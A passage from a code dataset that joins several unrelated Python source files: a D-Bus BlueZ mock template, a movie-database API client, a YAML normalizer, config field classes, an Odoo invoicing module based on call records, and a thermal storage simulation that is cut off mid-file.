])\n\n\n@dbus.service.method(DEVICE_IFACE,\n in_signature='', out_signature='')\ndef Pair(device):\n if device.paired:\n raise dbus.exceptions.DBusException(\n 'Device already paired',\n name='org.bluez.Error.AlreadyExists')\n device_address = device.props[DEVICE_IFACE]['Address']\n adapter_device_name = Path(device.props[DEVICE_IFACE]['Adapter']).name\n device.PairDevice(adapter_device_name, device_address, MOCK_PHONE_CLASS)\n\n\n@dbus.service.method(DEVICE_IFACE,\n in_signature='', out_signature='')\ndef Connect(device):\n if device.connected:\n raise dbus.exceptions.DBusException(\n 'Already Connected',\n name='org.bluez.Error.AlreadyConnected')\n device.connected = True\n device.EmitSignal(dbus.PROPERTIES_IFACE, 'PropertiesChanged', 'sa{sv}as', [\n DEVICE_IFACE,\n {\n 'Connected': dbus.Boolean(device.connected, variant_level=1),\n },\n [],\n ])\n\n\n@dbus.service.method(DEVICE_IFACE,\n in_signature='', out_signature='')\ndef Disconnect(device):\n if not device.connected:\n raise dbus.exceptions.DBusException(\n 'Not Connected',\n name='org.bluez.Error.NotConnected')\n device.connected = False\n device.EmitSignal(dbus.PROPERTIES_IFACE, 'PropertiesChanged', 'sa{sv}as', [\n DEVICE_IFACE,\n {\n 'Connected': dbus.Boolean(device.connected, variant_level=1),\n },\n [],\n ])\n\n\n@dbus.service.method(BLUEZ_MOCK_IFACE,\n in_signature='sss', out_signature='s')\ndef AddDevice(self, adapter_device_name, device_address, alias):\n '''Convenience method to add a Bluetooth device\n\n You have to specify a device address which must be a valid Bluetooth\n address (e.g. 'AA:BB:CC:DD:EE:FF'). The alias is the human-readable name\n for the device (e.g. as set on the device itself), and the adapter device\n name is the device_name passed to AddAdapter.\n\n This will create a new, unpaired and unconnected device.\n\n Returns the new object path.\n '''\n device_name = 'dev_' + device_address.replace(':', '_').upper()\n adapter_path = '/org/bluez/' + adapter_device_name\n path = adapter_path + '/' + device_name\n\n if adapter_path not in mockobject.objects:\n raise dbus.exceptions.DBusException(\n f'Adapter {adapter_device_name} does not exist.',\n name=BLUEZ_MOCK_IFACE + '.NoSuchAdapter')\n\n properties = {\n 'Address': dbus.String(device_address, variant_level=1),\n 'AddressType': dbus.String('public', variant_level=1),\n 'Name': dbus.String(alias, variant_level=1),\n 'Icon': dbus.String('', variant_level=1),\n 'Class': dbus.UInt32(0, variant_level=1),\n 'Appearance': dbus.UInt16(0, variant_level=1),\n 'UUIDs': dbus.Array([], signature='s', variant_level=1),\n 'Paired': dbus.Boolean(False, variant_level=1),\n 'Connected': dbus.Boolean(False, variant_level=1),\n 'Trusted': dbus.Boolean(False, variant_level=1),\n 'Blocked': dbus.Boolean(False, variant_level=1),\n 'WakeAllowed': dbus.Boolean(False, variant_level=1),\n 'Alias': dbus.String(alias, variant_level=1),\n 'Adapter': dbus.ObjectPath(adapter_path, variant_level=1),\n 'LegacyPairing': dbus.Boolean(False, variant_level=1),\n 'Modalias': dbus.String('', variant_level=1),\n 'RSSI': dbus.Int16(-79, variant_level=1), # arbitrary\n 'TxPower': dbus.Int16(0, variant_level=1),\n 'ManufacturerData': dbus.Array([], signature='a{qv}', variant_level=1),\n 'ServiceData': dbus.Array([], signature='a{sv}', variant_level=1),\n 'ServicesResolved': dbus.Boolean(False, variant_level=1),\n 'AdvertisingFlags': dbus.Array([], signature='ay', variant_level=1),\n 'AdvertisingData': dbus.Array([], signature='a{yv}', variant_level=1),\n }\n\n self.AddObject(path,\n DEVICE_IFACE,\n # Properties\n properties,\n # Methods\n [\n ('CancelPairing', '', '', ''),\n ('Connect', '', '', Connect),\n ('ConnectProfile', 's', '', ''),\n ('Disconnect', '', '', Disconnect),\n ('DisconnectProfile', 's', '', ''),\n ('Pair', '', '', Pair),\n ])\n device = mockobject.objects[path]\n device.paired = False\n device.connected = False\n\n manager = mockobject.objects['/']\n manager.EmitSignal(OBJECT_MANAGER_IFACE, 'InterfacesAdded',\n 'oa{sa{sv}}', [\n dbus.ObjectPath(path),\n {DEVICE_IFACE: properties},\n ])\n\n return path\n\n\n@dbus.service.method(BLUEZ_MOCK_IFACE,\n in_signature='ssi', out_signature='')\ndef PairDevice(_self, adapter_device_name, device_address, class_):\n '''Convenience method to mark an existing device as paired.\n\n You have to specify a device address which must be a valid Bluetooth\n address (e.g. 'AA:BB:CC:DD:EE:FF'). The adapter device name is the\n device_name passed to AddAdapter.\n\n This unblocks the device if it was blocked.\n\n If the specified adapter or device doesn't exist, a NoSuchAdapter or\n NoSuchDevice error will be returned on the bus.\n\n Returns nothing.\n '''\n device_name = 'dev_' + device_address.replace(':', '_').upper()\n adapter_path = '/org/bluez/' + adapter_device_name\n device_path = adapter_path + '/' + device_name\n\n if adapter_path not in mockobject.objects:\n raise dbus.exceptions.DBusException(\n f'Adapter {adapter_device_name} does not exist.',\n name=BLUEZ_MOCK_IFACE + '.NoSuchAdapter')\n if device_path not in mockobject.objects:\n raise dbus.exceptions.DBusException(f'Device {device_name} does not exist.', name=BLUEZ_MOCK_IFACE + '.NoSuchDevice')\n\n device = mockobject.objects[device_path]\n device.paired = True\n\n # Based off pairing with an Android phone.\n uuids = [\n '00001105-0000-1000-8000-00805f9b34fb',\n '0000110a-0000-1000-8000-00805f9b34fb',\n '0000110c-0000-1000-8000-00805f9b34fb',\n '00001112-0000-1000-8000-00805f9b34fb',\n '00001115-0000-1000-8000-00805f9b34fb',\n '00001116-0000-1000-8000-00805f9b34fb',\n '0000111f-0000-1000-8000-00805f9b34fb',\n '0000112f-0000-1000-8000-00805f9b34fb',\n '00001200-0000-1000-8000-00805f9b34fb',\n ]\n\n device.props[DEVICE_IFACE]['UUIDs'] = dbus.Array(uuids, variant_level=1)\n device.props[DEVICE_IFACE]['Paired'] = dbus.Boolean(True, variant_level=1)\n device.props[DEVICE_IFACE]['LegacyPairing'] = dbus.Boolean(True,\n variant_level=1)\n device.props[DEVICE_IFACE]['Blocked'] = dbus.Boolean(False,\n variant_level=1)\n\n try:\n device.props[DEVICE_IFACE]['Modalias']\n except KeyError:\n device.AddProperties(DEVICE_IFACE, {\n 'Modalias': dbus.String('bluetooth:v000Fp1200d1436',\n variant_level=1),\n 'Class': dbus.UInt32(class_, variant_level=1),\n 'Icon': dbus.String('phone', variant_level=1),\n })\n\n device.EmitSignal(dbus.PROPERTIES_IFACE, 'PropertiesChanged', 'sa{sv}as', [\n DEVICE_IFACE,\n {\n 'UUIDs': dbus.Array(uuids, variant_level=1),\n 'Paired': dbus.Boolean(True, variant_level=1),\n 'LegacyPairing': dbus.Boolean(True, variant_level=1),\n 'Blocked': dbus.Boolean(False, variant_level=1),\n 'Modalias': dbus.String('bluetooth:v000Fp1200d1436',\n variant_level=1),\n 'Class': dbus.UInt32(class_, variant_level=1),\n 'Icon': dbus.String('phone', variant_level=1),\n },\n [],\n ])\n\n\n@dbus.service.method(BLUEZ_MOCK_IFACE,\n in_signature='ss', out_signature='')\ndef BlockDevice(_self, adapter_device_name, device_address):\n '''Convenience method to mark an existing device as blocked.\n\n You have to specify a device address which must be a valid Bluetooth\n address (e.g. 'AA:BB:CC:DD:EE:FF'). The adapter device name is the\n device_name passed to AddAdapter.\n\n This disconnects the device if it was connected.\n\n If the specified adapter or device doesn't exist, a NoSuchAdapter or\n NoSuchDevice error will be returned on the bus.\n\n Returns nothing.\n '''\n device_name = 'dev_' + device_address.replace(':', '_').upper()\n adapter_path = '/org/bluez/' + adapter_device_name\n device_path = adapter_path + '/' + device_name\n\n if adapter_path not in mockobject.objects:\n raise dbus.exceptions.DBusException(\n f'Adapter {adapter_device_name} does not exist.',\n name=BLUEZ_MOCK_IFACE + '.NoSuchAdapter')\n if device_path not in mockobject.objects:\n raise dbus.exceptions.DBusException(f'Device {device_name} does not exist.', name=BLUEZ_MOCK_IFACE + '.NoSuchDevice')\n\n device = mockobject.objects[device_path]\n\n device.props[DEVICE_IFACE]['Blocked'] = dbus.Boolean(True, variant_level=1)\n device.props[DEVICE_IFACE]['Connected'] = dbus.Boolean(False,\n variant_level=1)\n\n device.EmitSignal(dbus.PROPERTIES_IFACE, 'PropertiesChanged', 'sa{sv}as', [\n DEVICE_IFACE,\n {\n 'Blocked': dbus.Boolean(True, variant_level=1),\n 'Connected': dbus.Boolean(False, variant_level=1),\n },\n [],\n ])\n\n\n@dbus.service.method(BLUEZ_MOCK_IFACE,\n in_signature='ss', out_signature='')\ndef ConnectDevice(_self, adapter_device_name, device_address):\n '''Convenience method to mark an existing device as connected.\n\n You have to specify a device address which must be a valid Bluetooth\n address (e.g. 'AA:BB:CC:DD:EE:FF'). The adapter device name is the\n device_name passed to AddAdapter.\n\n This unblocks the device if it was blocked.\n\n If the specified adapter or device doesn't exist, a NoSuchAdapter or\n NoSuchDevice error will be returned on the bus.\n\n Returns nothing.\n '''\n device_name = 'dev_' + device_address.replace(':', '_').upper()\n adapter_path = '/org/bluez/' + adapter_device_name\n device_path = adapter_path + '/' + device_name\n\n if adapter_path not in mockobject.objects:\n raise dbus.exceptions.DBusException(\n f'Adapter {adapter_device_name} does not exist.',\n name=BLUEZ_MOCK_IFACE + '.NoSuchAdapter')\n if device_path not in mockobject.objects:\n raise dbus.exceptions.DBusException(\n f'Device {device_name} does not exist.',\n name=BLUEZ_MOCK_IFACE + '.NoSuchDevice')\n\n device = mockobject.objects[device_path]\n\n device.props[DEVICE_IFACE]['Blocked'] = dbus.Boolean(False,\n variant_level=1)\n device.props[DEVICE_IFACE]['Connected'] = dbus.Boolean(True,\n variant_level=1)\n\n device.EmitSignal(dbus.PROPERTIES_IFACE, 'PropertiesChanged', 'sa{sv}as', [\n DEVICE_IFACE,\n {\n 'Blocked': dbus.Boolean(False, variant_level=1),\n 'Connected': dbus.Boolean(True, variant_level=1),\n },\n [],\n ])\n\n\n@dbus.service.method(BLUEZ_MOCK_IFACE,\n in_signature='ss', out_signature='')\ndef DisconnectDevice(_self, adapter_device_name, device_address):\n '''Convenience method to mark an existing device as disconnected.\n\n You have to specify a device address which must be a valid Bluetooth\n address (e.g. 'AA:BB:CC:DD:EE:FF'). The adapter device name is the\n device_name passed to AddAdapter.\n\n This does not change the device's blocked status.\n\n If the specified adapter or device doesn't exist, a NoSuchAdapter or\n NoSuchDevice error will be returned on the bus.\n\n Returns nothing.\n '''\n device_name = 'dev_' + device_address.replace(':', '_').upper()\n adapter_path = '/org/bluez/' + adapter_device_name\n device_path = adapter_path + '/' + device_name\n\n if adapter_path not in mockobject.objects:\n raise dbus.exceptions.DBusException(\n f'Adapter {adapter_device_name} does not exist.',\n name=BLUEZ_MOCK_IFACE + '.NoSuchAdapter')\n if device_path not in mockobject.objects:\n raise dbus.exceptions.DBusException(\n f'Device {device_name} does not exist.',\n name=BLUEZ_MOCK_IFACE + '.NoSuchDevice')\n\n device = mockobject.objects[device_path]\n\n device.props[DEVICE_IFACE]['Connected'] = dbus.Boolean(False,\n variant_level=1)\n\n device.EmitSignal(dbus.PROPERTIES_IFACE, 'PropertiesChanged', 'sa{sv}as', [\n DEVICE_IFACE,\n {\n 'Connected': dbus.Boolean(False, variant_level=1),\n },\n [],\n ])\n","repo_name":"martinpitt/python-dbusmock","sub_path":"dbusmock/templates/bluez5.py","file_name":"bluez5.py","file_ext":"py","file_size_in_byte":23968,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"79"} +{"seq_id":"1263551559","text":"import requests\nimport os\n\n\nclass TmdbApi(object):\n \"\"\"\n This is a base class that all api endpoints will inherit from\n \"\"\"\n\n def __init__(self):\n\n # Grab the api key from the os environment an verify we actually have it\n api_key = os.getenv(\"TMDB_KEY\")\n if api_key is None:\n raise Exception(\"The api_key is missing.\")\n\n self.base_url = \"https://api.themoviedb.org/3\"\n self.api_key = \"?api_key={}\".format(api_key)\n\n\n def _get_appended_data(self, data_to_append):\n return \"&append_to_response={}\".format(\",\".join(data_to_append) if isinstance(data_to_append, list) else data_to_append)\n\n def _check_status_code(self, status_code):\n if status_code != 200:\n raise AssertionError(\"The api call failed. The response's status code was {}\".format(status_code))\n\n\nclass TmdbMoviesApi(TmdbApi):\n \"\"\"\n This is a class specific to testing the movies endpoint.\n \"\"\"\n\n def __init__(self):\n super(TmdbMoviesApi, self).__init__()\n self.movie_url = \"{}/movie\".format(self.base_url)\n\n def get_movie_details(self, media_id, detail_type=None, append_detail=None, check_response_code=True):\n # Verify detail_type and append_detail aren't being used at the same time\n if detail_type is not None and append_detail is not None:\n raise Exception(\"You don't need to set data_type if you are using append_detail.\")\n\n # Create the url\n detail_type = \"/{}\".format(detail_type) if detail_type is not None else \"\"\n append = \"{}\".format(self._get_appended_data(append_detail)) if append_detail is not None else \"\"\n url = \"{}/{}{}{}{}\".format(self.movie_url, str(media_id), detail_type, self.api_key, append)\n\n response = requests.get(url)\n\n if check_response_code:\n self._check_status_code(response.status_code)\n\n return response\n","repo_name":"gontib/roger_api_test","sub_path":"lib/tmdb_api.py","file_name":"tmdb_api.py","file_ext":"py","file_size_in_byte":1911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"17622754441","text":"import locale\nimport os\nimport sys\nimport yaml\nfrom collections import OrderedDict\nimport projectconfig_yamllib as pcy\n\ndef main():\n locale.setlocale(locale.LC_COLLATE, 'C')\n\n yaml.add_constructor(yaml.resolver.BaseResolver.DEFAULT_MAPPING_TAG,\n pcy.construct_yaml_map)\n\n yaml.add_representer(OrderedDict, pcy.project_representer,\n Dumper=pcy.IndentedDumper)\n\n chandata = yaml.load(open('gerritbot/channels.yaml'))\n for k,v in chandata.items():\n v['projects'] = sorted(v['projects'])\n\n sys.stdout.write('# This file is sorted alphabetically by channel name.\\n')\n first = True\n for k in sorted(chandata.keys()):\n if not first:\n sys.stdout.write('\\n')\n first = False\n sys.stdout.write(yaml.dump({k: chandata[k]}, default_flow_style=False,\n Dumper=pcy.IndentedDumper, width=80, indent=2))\n\nif __name__ == '__main__':\n main()\n","repo_name":"nibalizer/openstack-infra-combined","sub_path":"project-config/tools/normalize_channels_yaml.py","file_name":"normalize_channels_yaml.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"} +{"seq_id":"22597624142","text":"import re\nfrom typing import List, Optional, Union\n\nfrom ..core import Config, Field, Schema\nfrom .virtual_field import VirtualField\n\n\nclass StringField(Field):\n \"\"\"\n A string field.\n \"\"\"\n\n storage_type = str\n\n def __init__(\n self,\n *,\n min_len: Optional[int] = None,\n max_len: Optional[int] = None,\n regex: Optional[str] = None,\n choices: Optional[List[str]] = None,\n transform_case: Optional[str] = None,\n transform_strip: Optional[Union[bool, str]] = None,\n **kwargs\n ):\n \"\"\"\n The string field can perform transformations on the value prior to validating it if either\n *transform_case* or *transform_strip* are specified.\n\n :param min_len: minimum allowed length\n :param max_len: maximum allowed length\n :param regex: regex pattern that the value must match\n :param choices: list of valid choices\n :param transform_case: transform the value's case to either ``upper`` or ``lower`` case\n :param transform_strip: strip the value by calling :meth:`str.strip`.\n Setting this to ``True`` will call :meth:`str.strip` without any arguments (ie.\n striping all whitespace characters) and if this is a ``str``, then :meth:`str.strip`\n will be called with ``transform_strip``.\n \"\"\"\n super().__init__(**kwargs)\n self.min_len = min_len\n self.max_len = max_len\n self.regex = re.compile(regex) if regex else None\n self.choices = choices\n self.transform_case = transform_case.lower() if transform_case else None\n self.transform_strip = transform_strip\n\n if self.transform_case and self.transform_case not in (\"lower\", \"upper\"):\n raise TypeError('transform_case must be \"lower\" or \"upper\"')\n\n def _validate(self, cfg: Config, value: str) -> str:\n \"\"\"\n Validate a value.\n\n :param cfg: current Config\n :param value: value to validate\n \"\"\"\n if not isinstance(value, str):\n raise ValueError(\"value must be a string, not a %s\" % type(value).__name__)\n\n if self.transform_strip:\n if isinstance(self.transform_strip, str):\n value = value.strip(self.transform_strip)\n else:\n value = value.strip()\n\n if self.required and not value:\n raise ValueError(\"value is required\")\n\n if self.transform_case:\n value = value.lower() if self.transform_case == \"lower\" else value.upper()\n\n if self.min_len is not None and len(value) < self.min_len:\n raise ValueError(\"value must be at least %d characters\" % self.min_len)\n\n if self.max_len is not None and len(value) > self.max_len:\n raise ValueError(\"value must not be more than %d characters\" % self.max_len)\n\n if self.regex and not self.regex.match(value):\n raise ValueError(\"value does not match pattern %s\" % self.regex.pattern)\n\n if self.choices and value not in self.choices:\n if len(self.choices) < 6:\n postfix = \": must be one of: \" + \", \".join(self.choices)\n else:\n postfix = \"\"\n raise ValueError(\"value is not a valid choice\" + postfix)\n\n return value\n\n\nclass LogLevelField(StringField):\n \"\"\"\n A field representing the Python log level.\n \"\"\"\n\n storage_type = str\n\n def __init__(self, levels: Optional[List[str]] = None, **kwargs):\n \"\"\"\n :param levels: list of log levels. If not specified, the default Python log levels will be\n used: ``debug``, ``info``, ``warning``, ``error``, and ``critical``.\n \"\"\"\n if not levels:\n levels = [\"debug\", \"info\", \"warning\", \"error\", \"critical\"]\n\n self.levels = levels\n kwargs.setdefault(\"transform_case\", \"lower\")\n kwargs.setdefault(\"transform_strip\", True)\n kwargs[\"choices\"] = levels\n super().__init__(**kwargs)\n\n\nclass ApplicationModeField(StringField):\n \"\"\"\n A field representing the application operating mode.\n \"\"\"\n\n storage_type = str\n HELPER_MODE_PATTERN = re.compile(\"^[a-zA-Z0-9_]+$\")\n\n def __init__(\n self, modes: Optional[List[str]] = None, create_helpers: bool = True, **kwargs\n ):\n \"\"\"\n The *create_helpers* parameter will create a boolean :class:`VirtualField` for each\n ``mode`` named ``is__mode``, that returns ``True`` when the mode is active. When\n *create_helpers=True* then each mode name must be a valid Python variable name.\n\n :param modes: application modes, if not specified the default modes will be used:\n ``production`` and ``development``\n :param create_helpers: create helper a bool ``VirtualField`` for each mode\n \"\"\"\n if not modes:\n modes = [\"development\", \"production\"]\n\n self.modes = modes\n self.create_helpers = create_helpers\n\n if create_helpers:\n for mode in modes:\n if not self.HELPER_MODE_PATTERN.match(mode):\n raise TypeError(\"invalid mode name: %s\" % mode)\n\n kwargs.setdefault(\"transform_case\", \"lower\")\n kwargs.setdefault(\"transform_strip\", True)\n kwargs[\"choices\"] = modes\n super().__init__(**kwargs)\n\n def _create_helper(self, mode: str) -> \"VirtualField\":\n \"\"\"\n Create helper VirtualField.\n \"\"\"\n return VirtualField(lambda cfg: self.__getval__(cfg) == mode)\n\n def __setkey__(self, schema: Schema, key: str) -> None:\n \"\"\"\n Set the key and optionally add ``VirtualField`` helpers to the schema if\n *create_helpers=True*.\n \"\"\"\n super().__setkey__(schema, key)\n if self.create_helpers:\n for mode in self.modes:\n schema._add_field(\"is_%s_mode\" % mode, self._create_helper(mode))\n","repo_name":"ameily/cincoconfig","sub_path":"cincoconfig/fields/string_field.py","file_name":"string_field.py","file_ext":"py","file_size_in_byte":5917,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"79"} +{"seq_id":"32929846982","text":"from dateutil.relativedelta import relativedelta\nimport datetime\nimport logging\nimport time\nimport os\nfrom openerp.osv import osv, fields\nimport openerp.tools\nfrom openerp.tools.translate import _\nfrom config import file_location\n\nfrom openerp.addons.decimal_precision import decimal_precision as dp\n\n_logger = logging.getLogger(__name__)\n\n\nclass custom_contract(osv.osv):\n _inherit = 'account.analytic.account'\n _columns = {\n 'include_cdr_amount': fields.boolean('Calculate amount from CDR files', store=True),\n }\n\n def cron_save_cdr_logs(self, cr, uid, context=None):\n cdr_log = self.pool.get('cdr.logs')\n logs = self.read_cdr_files(cr,uid)\n for log in logs:\n if len(log) == 16:\n hash_key = log[14].replace('\"', '')\n cr.execute(\"select id,name from res_partner where hash_key='\" + hash_key.strip() + \"'\")\n partner = cr.dictfetchall()\n if len(partner) > 0:\n res = {\n 'customer_id': partner[0]['id'],\n 'customer_name': partner[0]['name'],\n 'hash_key': hash_key.strip(),\n 'region': log[9].replace('\"', '').strip(),\n 'incoming_call_receiver': log[2].replace('\"', '').strip(),\n 'dialer': log[3].replace('\"', '').strip(),\n 'time_stamp': log[5].replace('\"', '').strip() + \" \" + log[6].replace('\"', '').strip(),\n 'total_call_time_from_dialing': log[7].replace('\"', '').strip(),\n 'calling_talk_time': log[8].replace('\"', '').strip(),\n 'charging_rate': log[11].replace('\"', '').strip(),\n 'call_type': log[10].replace('\"', '').strip(),\n 'type': 'normal'\n }\n cdr_log.create(cr, uid, res, context=context)\n elif len(log) == 18:\n hash_key = log[16].replace('\"','')\n cr.execute(\"select id,name from res_partner where hash_key='\"+hash_key.strip()+\"'\")\n partner = cr.dictfetchall()\n if len(partner)>0:\n res = {\n 'customer_id': partner[0]['id'],\n 'customer_name': partner[0]['name'] ,\n 'hash_key': hash_key.strip() ,\n 'region': log[11].replace('\"','').strip(),\n 'incoming_call_receiver':log[2].replace('\"','').strip() ,\n 'dialer': log[3].replace('\"','').strip() ,\n 'time_stamp': log[7].replace('\"','').strip() + \" \" + log[8].replace('\"','').strip(),\n 'total_call_time_from_dialing': log[9].replace('\"','').strip(),\n 'calling_talk_time': log[10].replace('\"','').strip(),\n 'charging_rate': log[13].replace('\"','').strip(),\n 'type': 'tf'\n }\n cdr_log.create(cr, uid, res, context=context)\n return True\n\n # Get Wizard Record\n def read_cdr_files(self, cr, uid, context=None):\n end_lst = []\n for loc in file_location:\n path = os.path.expanduser(loc)\n try:\n #make sure using r'filepath' to mean its a string literal\n fl = open(path,'r')\n fl_all = fl.read()\n lst_rec = fl_all.split('\\n')\n for rec in lst_rec:\n rec_lst = rec.split(',')\n if len(rec_lst) > 1:\n end_lst.append(rec_lst)\n except:\n print(\"File is not present in current directory\")\n return end_lst\n\n\n def cal_invoice_amount(self, cr, uid, partner_id, context=None):\n total = 0.0\n cr.execute(\"Select * from call_rates where partner_id='\"+str(partner_id.id)+\"'\")\n call_rates = cr.dictfetchall()\n free_mintues = call_rates[0]['free_mins']\n counter = 0.0\n cr.execute(\"SELECT * FROM public.cdr_logs where charging_rate>0 and customer_id='\" + str(partner_id.id) + \"'\"+\"order by charging_rate asc\")\n call_history = cr.dictfetchall()\n for log in call_history:\n if counter > free_mintues:\n talk_time = log['calling_talk_time']/60\n if log['charging_rate']== 0.02 and log['type']=='tf':\n total = total+ talk_time*call_rates[0]['tf_package_one']\n elif log['charging_rate']== 0.04 and log['type']=='tf':\n total = total+ talk_time*call_rates[0]['tf_package_two']\n elif log['charging_rate']== 0.12 and log['type']=='tf':\n total = total+ talk_time*call_rates[0]['tf_package_three']\n elif log['charging_rate']== 0.16 and log['type']=='tf':\n total = total+ talk_time*call_rates[0]['tf_package_four']\n elif log['charging_rate']== 0.25 and log['type']=='tf':\n total = total+ talk_time*call_rates[0]['tf_package_five']\n elif log['call_type']=='National' and log['type']=='normal':\n total = total + talk_time * call_rates[0]['national_rates']\n elif log['call_type']=='Mobile' and log['type']=='normal':\n total = total + talk_time * call_rates[0]['mobile_rates']\n elif log['call_type']=='Local' and log['type']=='normal':\n total = total + talk_time * call_rates[0]['local_rates']\n elif log['call_type']=='Special' and log['type']=='normal':\n total = total + talk_time * call_rates[0]['local_rates']\n else:\n counter = counter + (log['calling_talk_time']/60)\n return total\n\n # This is the function which is reponsible to create invoice lines from cron job we must modified these lines\n def _prepare_invoice_line(self, cr, uid, line,contract, fiscal_position, context=None):\n amount = self.cal_invoice_amount(cr, uid, contract.partner_id, context=context)\n fpos_obj = self.pool.get('account.fiscal.position')\n res = line.product_id\n account_id = res.property_account_income.id\n if not account_id:\n account_id = res.categ_id.property_account_income_categ.id\n account_id = fpos_obj.map_account(cr, uid, fiscal_position, account_id)\n\n taxes = res.taxes_id or False\n tax_id = fpos_obj.map_tax(cr, uid, fiscal_position, taxes, context=context)\n if contract.include_cdr_amount:\n values = {\n 'name': line.name,\n 'account_id': account_id,\n 'account_analytic_id': line.analytic_account_id.id,\n 'price_unit': amount or 0.0,\n 'quantity': line.quantity,\n 'uos_id': line.uom_id.id or False,\n 'product_id': line.product_id.id or False,\n 'invoice_line_tax_id': [(6, 0, tax_id)],\n }\n else:\n values = {\n 'name': line.name,\n 'account_id': account_id,\n 'account_analytic_id': line.analytic_account_id.id,\n 'price_unit': line.price_unit or 0.0,\n 'quantity': line.quantity,\n 'uos_id': line.uom_id.id or False,\n 'product_id': line.product_id.id or False,\n 'invoice_line_tax_id': [(6, 0, tax_id)],\n }\n return values\n\n def _prepare_invoice_lines(self, cr, uid, contract,fiscal_position_id, context=None):\n fpos_obj = self.pool.get('account.fiscal.position')\n fiscal_position = None\n if fiscal_position_id:\n fiscal_position = fpos_obj.browse(cr, uid, fiscal_position_id, context=context)\n invoice_lines = []\n for line in contract.recurring_invoice_line_ids:\n values = self._prepare_invoice_line(cr, uid, line,contract,fiscal_position, context=context)\n invoice_lines.append((0, 0, values))\n return invoice_lines\n\n def _prepare_invoice(self, cr, uid, contract, context=None):\n invoice = self._prepare_invoice_data(cr, uid, contract, context=context)\n invoice['invoice_line'] = self._prepare_invoice_lines(cr, uid, contract,invoice['fiscal_position'], context=context)\n return invoice\n\n def _recurring_create_invoice(self, cr, uid, ids, automatic=False, context=None):\n context = context or {}\n invoice_ids = []\n current_date = time.strftime('%Y-%m-%d')\n if ids:\n contract_ids = ids\n else:\n contract_ids = self.search(cr, uid, [('recurring_next_date', '<=', current_date), ('state', '=', 'open'),\n ('recurring_invoices', '=', True), ('type', '=', 'contract')])\n if contract_ids:\n cr.execute(\n 'SELECT company_id, array_agg(id) as ids FROM account_analytic_account WHERE id IN %s GROUP BY company_id',\n (tuple(contract_ids),))\n for company_id, ids in cr.fetchall():\n context_contract = dict(context, company_id=company_id, force_company=company_id)\n for contract in self.browse(cr, uid, ids, context=context_contract):\n try:\n if contract.include_cdr_amount:\n invoice_values = self._prepare_invoice(cr, uid, contract,context=context_contract)\n invoice_values['invoice_type'] = 'CDR'\n else:\n invoice_values = self._prepare_invoice(cr, uid, contract, context=context_contract)\n invoice_ids.append(\n self.pool['account.invoice'].create(cr, uid, invoice_values, context=context))\n next_date = datetime.datetime.strptime(contract.recurring_next_date or current_date, \"%Y-%m-%d\")\n interval = contract.recurring_interval\n if contract.recurring_rule_type == 'daily':\n new_date = next_date + relativedelta(days=+interval)\n elif contract.recurring_rule_type == 'weekly':\n new_date = next_date + relativedelta(weeks=+interval)\n elif contract.recurring_rule_type == 'monthly':\n new_date = next_date + relativedelta(months=+interval)\n else:\n new_date = next_date + relativedelta(years=+interval)\n self.write(cr, uid, [contract.id], {'recurring_next_date': new_date.strftime('%Y-%m-%d')},\n context=context)\n if automatic:\n cr.commit()\n except Exception:\n if automatic:\n cr.rollback()\n _logger.exception('Fail to create recurring invoice for contract %s', contract.code)\n else:\n raise\n return invoice_ids\n","repo_name":"Parkash067/ERP","sub_path":"custom_contracts/contracts.py","file_name":"contracts.py","file_ext":"py","file_size_in_byte":11217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"24065909619","text":"# -*- coding: utf-8 -*-\n\"\"\"\nInfo\n----\nThis file contains the basic functionalities of the ThermalEnergyStorage class.\n\n\"\"\"\n\nimport pandas as pd\nfrom .component import Component\n\n\nclass ThermalEnergyStorage(Component):\n def __init__(\n self,\n target_temperature,\n min_temperature,\n hysteresis,\n mass,\n cp,\n thermal_energy_loss_per_day,\n unit,\n identifier=None,\n environment=None,\n user_profile=None,\n cost=None,\n ):\n\n \"\"\"\n Info\n ----\n ...\n \n Parameters\n ----------\n \n The parameter timebase determines the resolution of the given data. \n Furthermore the parameter environment (Environment) is given to provide weather data and further external influences.\n To account for different people using a component, a use case (VPPUseCase) can be passed in to improve the simulation.\n \t\n Attributes\n ----------\n \n ...\n \n Notes\n -----\n \n ...\n \n References\n ----------\n \n ...\n \n Returns\n -------\n \n ...\n \n \"\"\"\n\n # Call to super class\n super(ThermalEnergyStorage, self).__init__(\n unit, environment, user_profile, cost\n )\n\n # Configure attributes\n self.identifier = identifier\n self.target_temperature = target_temperature\n self.current_temperature = target_temperature - hysteresis\n self.min_temperature = min_temperature\n self.timeseries = pd.DataFrame(\n columns=[\"temperature\"],\n index=pd.date_range(\n start=self.environment.start,\n end=self.environment.end,\n freq=self.environment.time_freq,\n name=\"time\",\n ),\n )\n self.hysteresis = hysteresis\n self.mass = mass\n self.cp = cp\n self.state_of_charge = mass * cp * (self.current_temperature + 273.15)\n # Aus Datenblättern ergibt sich, dass ein Wärmespeicher je Tag rund 10%\n # Bereitschaftsverluste hat (ohne Rohrleitungen!!)\n self.thermal_energy_loss_per_day = thermal_energy_loss_per_day\n self.efficiency_per_timestep = 1 - (\n thermal_energy_loss_per_day\n / (24 * (60 / self.environment.timebase))\n )\n self.needs_loading = None\n\n def operate_storage(self, timestamp, thermal_energy_generator):\n\n if self.get_needs_loading():\n thermal_energy_generator.ramp_up(timestamp)\n else:\n thermal_energy_generator.ramp_down(timestamp)\n\n thermal_energy_demand = self.user_profile.thermal_energy_demand.thermal_energy_demand.loc[\n timestamp\n ]\n observation = thermal_energy_generator.observations_for_timestamp(\n timestamp\n )\n thermal_production = observation[\"thermal_energy_output\"]\n\n # Formula: E = m * cp * T\n # <=> T = E / (m * cp)\n self.state_of_charge -= (\n (thermal_energy_demand - thermal_production)\n * 1000 # kWh to Wh ?? Why?\n / (60 / self.environment.timebase)\n )\n self.state_of_charge *= self.efficiency_per_timestep\n self.current_temperature = (\n self.state_of_charge\n# * 3600 # kWh to KJ\n / (self.mass * self.cp)\n ) - 273.15\n\n if thermal_energy_generator.is_running:\n el_load = observation[\"el_demand\"]\n else:\n el_load = 0\n\n self.timeseries.temperature[timestamp] = self.current_temperature\n\n # log timeseries of thermal_energy_generator_class:\n thermal_energy_generator.log_observation(observation, timestamp)\n\n return self.current_temperature, el_load\n\n def 